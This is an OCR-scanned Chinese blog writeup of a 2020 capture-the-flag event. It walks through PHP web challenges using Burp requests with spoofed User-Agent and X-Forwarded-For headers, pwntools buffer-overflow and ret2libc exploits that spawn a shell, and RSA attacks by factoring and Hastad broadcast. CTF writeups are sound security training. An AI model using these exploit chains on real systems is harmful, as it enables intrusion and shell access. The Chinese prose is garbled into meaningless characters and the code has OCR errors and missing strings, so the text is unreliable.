ctfBE Z=4E Il 45 )| 38 -] B B writeup

KZ—% F 2020-08-09 14:15:54 K Ai 866 i 2

FRERE. cff WEHRE: EEZE

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACHERE: https://blog.csdn.net/One_p_Two_w/article/details/107890810

FERAL

.ejctf BV ARE
5RXE 0T
TR B A

Hx

Web
%3
R
PHPE ¥}

Pwn

giandao
giandao2

Crypoto

babyRSA
Smalle

Misc
IS
Reverse
F-REE! | FIIRFH!
FoARA G MR, MHRNEAZ, mMAMLBELWEE, BEAERER, SEHAENEGMN ZE—EFRITT, A
W5 R E Huhke, SREVIE R ZRERSITER.
Web

%3

BEAT AR BB DU AN I T

FT P4 3 TR ubuntu pastebin


https://blog.csdn.net/One_p_Two_w
https://blog.csdn.net/one_p_two_w/category_10665089.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/One_p_Two_w/article/details/107890810
https://blog.csdn.net/one_p_two_w/category_10665089.html

This site is intended for use as a short-term exchange of pasted information between parties. All submitted data is considered public information. Submitted data is not guaranteed to be permanent, and may be
removed at any time. Please do not set up programs to send data to this site in an automated fashion; it is intended to be used directly by humans.

Should you reasonably believe that any third-party content you access through this websites is in breach of any law, regulation or third party’s rights, you should notify Canonical in writing through rt@ubuntu.com
In doing so, please follow the guidelines indicated in our website terms under the section Links and third-party content.

Poster:
Your name (30 characters max)
Syntax: Plain Text v
Expiration: N
Paste expirations (or lack thereof) are approximate and not guaranteed
Content:

Bz F K, HF12TTFIRSE —T

O O==s Osas OEsgr NRs (Iamss O O B & W XTESHE 32 0EEs & Ma
Q =& HTML +

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/0TD/xhtml1-transitional . dtd"> -
<!--saved from url=(@825)https://paste.ubuntu.com/-->
<html xmlns="http://www.w3.org/1999/xhtml"” xml:lang="en" lang="en"> [#H

v <head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="stylesheet" type="text/css" charset="utf-8" media="screen” href="./index files/pastebin.css">
¢title>Ubuntu Pastebin</title:»
</head>
<!--{543557687D537D7B3372563D2A7E28566CTA4B5E564D6B565A54323F7534564D6C3068564D6C3861} - ->
» <body>
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<?php

error_reporting(0);
session_start();

require( );
if(!isset($_SESSION[ DX
$_SESSION[ 1=0;
$_SESSION[ ] = time();
$_SESSION] ]

}

if($_SESSION[ ]+5<time()){
session_destroy();

}

$Ash = $§_REQUEST[ I;
$str_rand = range('a’, '2);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION| 1==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
$_SESSION[ ]

$ SESSION[ ] = $str_rands;

echo $str_rands;

}

if($_SESSION|
echo $flag;
!

show_source(_ FILE );
7>

X E AR R R TR, RRABROLREN T, RRARHIKET.
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import requests
s = requests.session()

url
r = s.get(url)

foriin (100):
url_1 r.text[:2]
r = s.get(url_1)
print(r.url)
if i ==99:
print(r.text)
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https://blog.csdn.net/qq_27396789/article/details/79033005

<?php

highlight_file(_ FILE );

include( );

if ($_GET][ 1> 99999999 strlen($_GET]
echo ;

if (isset ($_GET ['yu)) {
$yu=9$ GET ['yuT;
if (is_numeric($yu))
die( );

elsef
switch ($yu) {
case 0 :break;
case 1 :break;
case 2 :echo "$flag";break;
default :echo ;break;
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Wrong Method!
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Burp Project Intruder Repeater Window Help
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Send Cancel < |v >\

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

Target: http:/ixiabee.cn:10002 / @

GET / HTTR/M .1 A
Host: xiabee.cn:10002 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; ne79.0) Gecko/20100101
Firefox/79.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 image/webp "™ q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 .zh-HK;q=0 5 en-US; g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http:/fxiabes. cn:9000/challenges
Connection: close
Cookie: bglmgSetting=white-hg;
session=ceddacce-0c5-483e-b04d-fhE 47934248 zQTrIAdy Oyt Godvrprjkke;
PHPSESSID=hgo9p628iccl109dwsoBrdul
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
e
v
@ < + = Type a search term 0 matches

HTTRA .1 200 OK

Date: Sun, 09 Aug 2020 04:13:43 GMT
Server. Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/S.5.9-Tubuntud 14
Content-Length: 13

Connection: close

Content-Type: text/html

Wrong Method!

® EJ EJ EJ Type a search

>

ke
v

0 matches

201 bytes | 31 miliis

XERTHKEE, REERERRETFHEZEMethodix /MR, Wrong Method!, 24774 T, BAEZIERTX, &
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Burp Project Intruder Repeater Window Help

Burp Suite Professional v2.1.04 - Temporary Project - licensed to surferxyz

[ Dashboard ITarget ]’ Proxy ]’ Intruder IRepeater T Sequencer ]’ Decoder I Comparer I Extender I Project options I User options

Send Cancel < |v > |-

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

Target: http:/ixiabee.cn:10002 / @

PUT f HTTP/.1

Host: xiabee.cn:10002

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; n:79.0) Gecko/20100101
Firefox/79.0

Accept: text/html application/xhtml+xml application/xml; q=0.9 image/webp "™ q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW,;q=0.7 zh-HK;q=0 5 en-US;q=0.3 en;q=0 2
Accept-Encoding: gzip, deflate

Referer. http:/fxiabes.cn:9000/challenges

Connection: close

Cookie: bglmgSetting=white-bg;

session=ceddacce-0c5f-483e-b04d-fhb 47934248 z0TrhIAdy|OyKdtGodwxpxUjKke;
PHPSESSID=hgo9pE28iccl108dwsoSrdul

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

-
v

0 matches

HTTP/1.1 200 OK

Date: Sun, 09 Aug 2020 04:17:29 GMT
Server. Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/S.5.9-Tubuntud 14
Content-Length: 23

Connection: close

Content-Type: text/html

GG browser is so Great!

i
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=

v

0 matches

211 bytes | 24 millis

GG browser is so Great!, T &¥User-Agent’hGG




Burp Project Intruder Repeater Window Help

Burp Suite Professional v2.1.04 - Temporary Project - licensed to surferxyz

[ Dashboard ITarget ]' Proxy ]' Intruder I Repeater T Sequencer ]' Decoder I Comparer I Extender I Project options I User options

Send Cancel < |r >|r

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

Target: http:/ixiabee.cn:10002 / ®

PUT fHTTR/ 1 A
Host: xiabee.cn:10002

User-Agent: GG

Accept: text/html application/xhtml+xml applicationfsml q=0.9 image/webp "™ q=0.8
Accept-Language: zh-CMN,zh;q=0.8,zh-TW,q=0.7 zh-HK; =05 en-US;g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/fxiabes.cn:9000/challenges

Connection: close

Cookie: bglmgSetting=white-bg;
session=ceddacce-0c5-483e-b04d-fh5dd7934a49 zQTrd dylOyKdt Godwepx Ujklkc;
PHPSESSID=hgo9pE28iccl1 08 dwsoBrdul

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

-
v

0 matches

HTTRA .1 200 OK

Date: Sun, 09 Aug 2020 04:18:59 GMT
Server. Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/S.5.9-Tubuntud 14
Content-Length: 26

Connection: close

Content-Type: text/html

Only localhost can access.
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0 matches

214 pytes | 34 miliis

B3R R EFE Bilocalhost, TR iBrefererdfti127.0.0.1, X¥%in T X-Forwarded-For: 127.0.0.1, iR

Burp Suite Professional v2.1.04 - Temporary Project - licensed to surferxyz - | x

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget ]' Proxy ]' Intruder IRepeater T Sequencer ]' Decoder I Comparer I Extender I Project options I User options

Send Cancel < |r >|r

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

Target: http:/ixiabee.cn:10002 / ®

PUT fHTTF/ A A
Host: xiabee.cn:10002

User-Agent: GG

Accept: text/html application/xhtmi+xml applicationfsml q=0.9 image/webp "™ q=0.8
Accept-Language: zh-CMN,zh;q=0.8,zh-TW,q=0.7 zh-HK; =05 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Length: 0

¥-Forwarded-For: 127.0.0.1

Referer 127.0.0.1

Connection: close

Cookie: bglmgSetting=white-bg;
session=ceddacce-0c5f483e-b04d-fhE 47934248 zQTrRI4dy Oyt Godvrprljike;
PHPSESSID=hgo9pE28iccl108dwsoBridul

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

-
v

0 matches

HTTRA .1 200 OK

Date: Sun, 09 Aug 2020 04:25:21 GMT
Server. Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/S.5.9-Tubuntud 14
Content-Length: 44

Connection: close

Content-Type: text/html

must jump from 10.0.0.55, but it seems down.
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Done

232 bytes | 34 miliis

AR “Ei81510.0.0.55/ % bk R 4", Hs22&10.0.0.53, XANRKRNAEF MR, FMNEZAMEIES, Sgil
FHNRLZEREE KM, 5347 % iX-Forwarded-For: 10.0.0.53, sendf&flag
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[ Dashboard ITarget I Proxy I Intruder IRepeatef T Sequencer I Decoder I Comparer I Extender I Project options I User options
1= | ..
Send Cancel <|v > | Target: http://xiabee.cn:10002 f @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
PUT fHTTF/ A : HTTRA .1 200 OK :
Host: xiabee cn:10002 Date: Sun, 09 Aug 2020 04:29:06 GMT
User-Agent: GG Server. Apache/2.4.7 (Ubuntu)
Accept: text/html application/xhtmi+xml applicationfsml q=0.9 image/webp "™ q=0.8 X-Powered-By: PHP/S.5.9-Tubuntud 14
Accept-Language: zh-CMN,zh;q=0.8,zh-TW,q=0.7 zh-HK; =05 en-US;q=0.3 en;q=0.2 Content-Length: 27
Accept-Encoding: gzip, deflate Connection: close
Content-Length: 0 Content-Type: text/html
¥-Forwarded-For: 10.0.0.53
Referer 127.0.0.1 flag{eeeeaaaasyyyyy_chZnge}
Connection: close
Cookie: bglmgSetting=whits-hbg;
session=ceddacce-0c5f-483e-b04d-fhE 47934048 zQTrI4dy | OykdtGodvrprljikke;
PHPSESSID=hgo9pE28iccl109dwsoBrdul
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
b .
v v
@ < + > | | Type a search term 0 matches @ < + > | |Type a search term 0 matches
Done 215 bytes | 33 miliis
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1iint _ cdecl main(int argc, const char **argv, const char **envp)
24

3| char s[256]; // [rsp+1@h] [rbp-186h]

4

5| setbuf(stdin, OLL);

6| setbuf(stdout, @LL);

7| setbuf(stderr, @LL);

8| gets(s, BLL);

91 return @;

a8}

[

oid _ cdecl sh(char *str)

{
if ( lstremp(str, "meow™) )
system(”/bin/sh");
else
system("echo meow~");

[ R S W R NS ]

~ o

HEERET

rom pwn import

io = remote( ,10014)

payload =b (0x100) + p64(0xdeadbeefdeadbeef) + p64(0x0000000000401263)
6)

io.sendline(payload)
io.interactive()

io.close()

giandao2

do you know one_gadget?

checksecta £

]

[*] ’ /mnt/c iandao?

p64(0x0000000000402004)

p64(0x000000000040115

idaEBERF



ik Rgetstii th, A idshik A A B getshell

£

{

3| char s[256]; // [rsp+1@h] [rbp-188h]
4

5| setbuf(stdin, OLL);

6| setbuf(_bss_start, 6LL);

7| setbuf(stderr, @LL);

8] gets((__inted)s, BLL);

91 return @;

10}

B m mmmm e e e

llint _ cdecl main(int argc, const char **argv, const char **envp)

AL v oo L e e e ae

—

L= b Liimo om

‘unction name
_init_proc

sub_ 401020

_puts

_setbuf

_gets

_start
_dl_relocate_static_pie
deregister_tm_clones
rezister_tm_clones
__do_global dtors aux
frame_dummy

sh

main

_ 1ibc_csu init
_libe_csu fini
_term_proc

puts

setbuf
__libc_start_main
gets

__gnon_start__

JRAEAD U, EHE A

Segn
.init
.plt
.plt
.plt
.plt
. text
. text
. text
. text
. text
. text
. tex
. tex
. text
. text
Lfind
exte
exte
exte
extLer
exter

P W

Iivoid _ cdecl sh(char *str)

{
}

puts(“meow");




from pwn import

context(log_level

io = remote(
elf = ELF(
libc = ELF(

execve = 0x45226
puts_got = elf.got[ ]
puts_plt = elf.plt[ ]
main_add = 0x40115F

payload =b (0x108) + p64(0x0000000000401233) + p64(puts_got) + p64(puts_plt) + p64(main_add)

io.sendline(payload)
puts_add = u64(io.recv()+b

(puts_add))

offset = puts_add - libc.symbols|
execve addr = offset + execve

payload2 = b (0x108) + p64(execve_addr)

io.sendline(payload2)
io.interactive()

io.close()

B H RN EEATE one_gadget ; one_gadget &AW, &S RULELRZ T LAIR B3R shell I B F it o, HEAGBEERH, X
ANhk R2libcEH Y, LR BT SB - mBE offset , 10 HATFT LRI ik 25 o Ath 58 B Hubik F S libeFE H Xt Bz 58 o bk
HHVRRIRIFIXA offset » )5 R T E— A1 payload2 Hi 58 M

Crypoto

FAH R IXEANZFLE R KX Frsalll, MFLEF - MEERrsaff B8, BRXBWATUE—T
KFrsafI A JRE A LA EFctf wiki, XEBAHET

babyRSA

simple rsa

n=
2175688405733541703870452086626738401792220260185622845647

e =0x10001

¢ =909189959980475048848571460773306576585339198658788147448

hint:factordb.com is your good friend


https://zhuanlan.zhihu.com/p/76228394

EEHrsath TATE BIntbBU/D, BRAE B 5 o7 H $

X R ET B BREHRT =4, MIEEMrsakBHEA—F, iILATNANTF, Tk, @BELEERGT
E#Hrsafk r=(p-1)*(q-1)

=ARBE, Bhr=(p1-1)*(p2-1)*(3-1)

ARASIN T

import gmpy2
from Crypto.Util.number import long_to_bytes

N = 2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
p1 =12174597259764339563

12211006709935453691

14634929140319987959

r=(1-1)*(2-1)*(p3-1)
d = gmpy2.invert(e,r)
n (c,d,N)

print (long_to_bytes(n))

Small e

RRDEAT T

4T BRAHEA S, — A main.py—{out.txt
main.py

from flag import flag
from Crypto.Util import number

lag_b = flag.encode() + os.urandom(128 UEL)))
p = [number.getPrime(1024) for _in
q = [number.getPrime(1024) for _in

n=[p*_qfor_p,_qinzp(p, q)]

e =3
m = number.bytes_to_long(flag_b)
for i in (3):

print(

print(

out.txt



N0 = 160678179325943070415704906647808058484727422225212094863591832948766595296084355576005372602504494336115951
7368492537450846767240441785947949500409357961072603226291432380226201576180425747477842107537191560473303962296
5481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163
7373629789462561841131971726287806157972852339164351762422214393908781627946293644849265057746132282296464581892
1017195086719887993436412050404627317796108368702793718981173250934436584483416022980581020508144668661148811522
6014344875552419979932806334691942178914927653481984541110621

cO = 987997146391462569097589324158018538798149636935673495701272151337314493875356904550332374498586951622543248
0622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129
7371882862276223750025776541174071872356390397884034215683309077834897402937837603745796742722289537028222093457
3571803778400790510750764044178956614802341818284385085602827242528066018540977479122929173680411321954603206927
1224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141
538795176843674864017991973083157087900179066637653967471786

N1 =272208044368058644421621824428137592630693721284688112702287577591222421027466343312742048136457006060251984
6475731506947639663645710938570901030909376112425036779321726951477789495074993202679010494492054241515447027271
0654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358
8923818406245554949632181295139591177650334882191484773716671299565234037264928118049715929298742874766925632690
6578760114795063644564620805925101560156992102537087180535787192211308879102438292604784027391179119399003467795
5545643860434985638900984527560552087922124397003230357748287

c1 = 186011744716393308386737559976270971797170536658432605887391609266948950231157199897432180321779330640247905
6741728196264896828755684225881888822580504084917382649770732652559038377457027733956250421614620857136731904067
4013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064
5059849040644023573700986229118160245811719306005661335804911902470149807422392895880624850162399920054850186077
2973708478737233615188875919858312357034116224330392899446019982264229456506716039381619237039019969902229547828
4192467413238687379911409873590966380239175755869062503249758

N2 = 180039116321225998134255503920252953184601445380024205460914733425040660659133744783807239665108639273234501
6042232396308543993491982140803000059703022044401744667727552053060060231322371691384370628902078954634125429851
4327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760
7914766207707875855128802637778116503635502911131887078344518766521683425007566216922077452496994789832203179631
6503240710051797006755434746080737307864312464043803532979166975656682558376314434791556192875965408981733796553
1158175165510730703911869587267266225122572337924741504872421

c2 = 162321291316088102824139377061444872406263386242503085778342256984457824688816823296466968997894573304983866
6816559905527060230452190086623847782045074574557423583532902542883197513556443247130194463886944551263738811119
9953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460
5953522436162849819994376469349783070493770441105147361057686168932026087793472828375605464029612275485775941660
63494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784 17645702
8384300754675188591655968245197618705494443537255712721037015
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rom Crypto.Util import number

N0 = 160678179325943070415704906647808058484727422225212094863591832948766595296084355576005372602504494336115951
7368492537450846767240441785947949500409357961072603226291432380226201576180425747477842107537191560473303962296
5481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163
7373629789462561841131971726287806157972852339164351762422214393908781627946293644849265057746132282296464581892
1017195086719887993436412050404627317796108368702793718981173250934436584483416022980581020508144668661148811522
6014344875552419979932806334691942178914927653481984541110621

cO = 987997146391462569097589324158018538798149636935673495701272151337314493875356904550332374498586951622543248
9622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129
7371882862276223750025776541174071872356390397884034215683309077834897402937837603745796742722289537028222093457|
3571803778400790510750764044178956614802341818284385085602827242528066018540977479122929173680411321954603206927|
1224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141
538795176843674864017991973083157087900179066637653967471786

N1 =272208044368058644421621824428137592630693721284688112702287577591222421027466343312742048136457006060251984
647573150694763966364571093857090103090937611242503677932172695147778949507499320267901049449205424151544702727 1
0654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667 112358
8923818406245554949632181295139591177650334882191484773716671299565234037264928118049715929298742874766925632690
6578760114795063644564620805925101560156992102537087180535787192211308879102438292604784027391179119399003467795
5545643860434985638900984527560552087922124397003230357748287

c1 = 186011744716393308386737559976270971797170536658432605887391609266948950231157199897432180321779330640247905
6741728196264896828755684225881888822580504084917382649770732652559038377457027733956250421614620857136731904067
4013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064
5059849040644023573700986229118160245811719306005661335804911902470149807422392895880624850162399920054850186077|
2973708478737233615188875919858312357034116224330392899446019982264229456506716039381619237039019969902229547828
4192467413238687379911409873590966380239175755869062503249758

N2 = 180039116321225998134255503920252953184601445380024205460914733425040660659133744783807239665108639273234501
6042232396308543993491982140803000059703022044401744667727552053060060231322371691384370628902078954634125429851
4327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760
7914766207707875855128802637778116503635502911131887078344518766521683425007566216922077452496994789832203179631
6503240710051797006755434746080737307864312464043803532979166975656682558376314434791556192875965408981733796553
1158175165510730703911869587267266225122572337924741504872421

c2 = 162321291316088102824139377061444872406263386242503085778342256984457824688816823296466968997894573304983866
6816559905527060230452190086623847782045074574557423583532902542883197513556443247130194463886944551263738811119
9953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460
5953522436162849819994376469349783070493770441105147361057686168932026087793472828375605464029612275485775941660
6349415315822523340891906394507041648627801860778004273333595920825570794206387009564898110299701524078417645702
8384300754675188591655968245197618705494443537255712721037015

e =3

ny0 =gmpy2.invert(NO,n0)
ny1 =gmpyZ2.invert(N1,n1)
ny2 =gmpy2.invert(N2,n2)

m_e = (c0*NO*ny0+c1*N1*ny1+c2"N2*ny2)%N
m = gmpyZ2.iroot(m_e,e)

print(m)
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